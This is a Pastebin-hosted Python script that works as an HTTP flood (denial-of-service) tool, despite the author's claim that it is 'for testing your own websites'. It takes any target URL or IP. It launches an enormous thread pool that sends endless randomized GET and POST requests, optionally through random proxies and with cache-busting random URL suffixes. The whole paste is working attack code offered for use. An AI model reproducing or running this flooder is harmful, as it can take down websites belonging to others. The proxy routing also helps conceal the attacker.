Guest User

Untitled

a guest
Feb 14th, 2015
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.20 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. # Script created for testing your own websites
  3. # by Alexey Privalov | www.alex0007.ru
  4. import os
  5.  
  6. #import threading
  7. import concurrent.futures
  8. import http.client
  9. import urllib.parse
  10. import random
  11. import sys
  12. import string
  13.  
  14.  
  15.  
  16. referrer = ""
  17. request_methods = ["GET", "POST"]
  18. thread_limit = 150000000
  19. append_rand_string_to_url = False
  20. min_timeout = 30
  21. max_timeout = 30
  22. wait_for_response = True
  23. cookie = "" # name1=value1; name2=value2
  24.  
  25. user_agents = [] # in file 'useragents.txt'
  26. proxies = [] # in file 'proxies.txt' if none - attack directly
  27. url = [] # from file 'urls.txt' or enter manually
  28. target = None
  29. cur_header = None
  30.  
  31. def read_data():
  32. global proxies, user_agents, url, cur_header
  33. make_dir('settings')
  34. user_agents = read_useragents()
  35. proxies = read_proxies()
  36. url = read_urls()
  37. cur_header = set_header()
  38.  
  39. def set_header():
  40. global cookie
  41. cur_header = {
  42. "User-agent": random.choice(user_agents),
  43. "Referrer": referrer,
  44. "Accept-Encoding": "gzip,deflate",
  45. "Connection": "Keep-Alive",
  46. "Cookie": cookie}
  47. return cur_header
  48.  
  49. def read_file_to_array(file_desc):
  50. file_desc.seek(0)
  51. array = [line.strip() for line in file_desc]
  52. return array
  53.  
  54. def read_useragents():
  55. file = open("settings/useragents.txt", "a+")
  56. user_agents = read_file_to_array(file)
  57. if len(user_agents) == 0:
  58. def_user_agent = 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1797.2 Safari/537.36'
  59. user_agents.append(
  60. def_user_agent)
  61. file.write(
  62. def_user_agent)
  63. file.close()
  64. return user_agents
  65.  
  66.  
  67. def read_urls():
  68. global url, target
  69. file = open("settings/urls.txt", "a+")
  70. url = read_file_to_array(file)
  71. if len(url) == 0 and __name__ == '__main__':
  72. print('Enter target url or IP ( e.g. "http://google.com/" or "http://195.208.0.133/"):')
  73. target = input()
  74. url.append(target)
  75. file.close()
  76. return url
  77.  
  78. def read_proxies():
  79. file = open("settings/proxies.txt", "a+")
  80. proxies = read_file_to_array(file)
  81. file.close()
  82. return proxies
  83.  
  84.  
  85. def make_dir(dirname):
  86. try:
  87. os.makedirs(dirname)
  88. except:
  89. pass
  90.  
  91.  
  92.  
  93. def start_flood():
  94. global thread_limit
  95. with concurrent.futures.ThreadPoolExecutor(max_workers=thread_limit) as executor:
  96. while True:
  97. future_to_url = {executor.submit(flood)}
  98.  
  99.  
  100.  
  101. def flood():
  102. global url, proxies, min_timeout, max_timeout, append_rand_string_to_url, request_methods, cur_header, wait_for_response
  103. try:
  104. cur_url = urllib.parse.urlparse(random.choice(url))
  105. if len(proxies) == 0: # setting direct connection here
  106. connection = http.client.HTTPConnection(cur_url.netloc, timeout=random.randint(min_timeout,
  107. max_timeout))
  108. url_str = cur_url.path + cur_url.params + cur_url.query
  109. else: # connect via random proxy
  110. connection = http.client.HTTPConnection(random.choice(proxies))
  111. url_str = cur_url.scheme + '://' + cur_url.netloc + cur_url.path + cur_url.params + cur_url.query
  112. while True:
  113. if not append_rand_string_to_url:
  114. connection.request(method=random.choice(request_methods), url=url_str,
  115. headers=cur_header)
  116. else:
  117. randstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(5))
  118. connection.request(method=random.choice(request_methods), url=url_str + randstr,
  119. headers=cur_header)
  120. if wait_for_response:
  121. connection.getresponse().read()
  122.  
  123. except:
  124. pass
  125.  
  126.  
  127. if __name__ == '__main__':
  128. read_data()
  129. target = urllib.parse.urlparse(random.choice(url))
  130. print(str(len(user_agents)) + ' user agents detected')
  131. print(str(len(url)) + ' urls detected')
  132. print(str(len(proxies)) + ' proxies detected')
  133. print(str(thread_limit) + ' threads')
  134. print("Flooding %s" % target.netloc)
  135.  
  136. start_flood()
Advertisement
Add Comment
Please, Sign In to add comment